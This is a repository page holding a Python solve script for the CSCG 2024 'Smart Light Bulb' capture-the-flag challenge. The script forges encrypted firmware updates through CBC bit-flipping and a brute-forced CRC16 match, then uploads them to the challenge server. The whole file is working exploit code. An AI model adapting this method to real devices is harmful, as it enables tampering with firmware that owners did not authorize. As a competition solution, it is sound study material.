cscg24-smartlight

CSCG 2024 Challenge 'Smart Light Bulb'
git clone https://git.sinitax.com/sinitax/cscg24-smartlight
Log | Files | Refs | sfeed.txt

solve (2765B)


      1#!/usr/bin/env python3
      2
      3from Crypto.Cipher import AES
      4from crcmod.predefined import mkPredefinedCrcFun
      5
      6import itertools
      7import string
      8import struct
      9import requests
     10import time
     11import ast
     12import sys
     13
     14crc16 = mkPredefinedCrcFun("x-25")
     15
     16def xor(al, bl):
     17    return bytes([a^b for a,b in zip(al, bl)])
     18
     19def upload(session, firmware):
     20    baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337"
     21    open("exploit.bin", "wb+").write(firmware)
     22    files = { "file": ("update.bin", firmware, "application/octet-stream") }
     23    r = requests.post(f"{baseurl}/update", files=files)
     24    assert(r.status_code == 200)
     25    if "Update running" in r.text:
     26        print("Updating..")
     27        time.sleep(10)
     28    logs = requests.get(f"{baseurl}/logs").content
     29    open("logs.txt", "wb+").write(logs)
     30    return logs
     31
     32def parse(logs):
     33    part = logs.decode().split("Decrypted content: ", 1)[1]
     34    return ast.literal_eval(part.split("\n")[0].strip())
     35
     36def fixup(source, target_crc):
     37    allowed = set(string.printable) - set(string.whitespace) - {'#', '"', "'"}
     38    key = b"{PERMUTE}"
     39    addr = bytes(source).index(key)
     40    for test in itertools.permutations(allowed, len(key)):
     41        source[addr:addr+len(key)] = "".join(test).encode()
     42        source[-2:] = struct.pack("<H", crc16(source[:-2]))
     43        if source[-2:] == target_crc:
     44            break
     45    return source
     46
     47def patch_next(firmware, expectation, reality):
     48    for addr in range(0, len(expectation), 16)[::-1]:
     49        if expectation[addr:addr+16] != reality[addr:addr+16]:
     50            faddr = 64 + addr - 16
     51            patch = xor(expectation[addr:addr+16], reality[addr:addr+16])
     52            firmware[faddr:faddr+16] = xor(patch, firmware[faddr:faddr+16])
     53            print("Mismatch", addr)
     54            return firmware, addr == 0
     55    return firmware, True
     56
     57def patch(session, firmware, version, new_source, old_source):
     58    prev_source = old_source
     59    while True:
     60        firmware[8:12] = struct.pack("<I", version)
     61        firmware, final = patch_next(firmware, new_source, prev_source)
     62        logs = upload(session, firmware)
     63        if final: break
     64        prev_source = parse(logs)
     65
     66def main():
     67    session = sys.argv[1]
     68
     69    firmware = bytearray(open("update.bin", "rb").read())
     70
     71    old_source = bytearray(open("source", "rb").read())
     72    #assert(old_source == parse(upload(session, firmware)))
     73
     74    new_source = bytearray(open("source.new", "rb").read())
     75    new_source = new_source[:len(old_source)]
     76    assert(new_source[-3] == 0)
     77    new_source = fixup(new_source, old_source[-2:])
     78
     79    patch(session, firmware, 152, new_source, old_source)
     80
     81    baseurl = f"https://{session}-8000-bulb.challenge.cscg.live:1337"
     82    print(requests.get(baseurl).text)
     83
     84
     85
     86if __name__ == "__main__":
     87    main()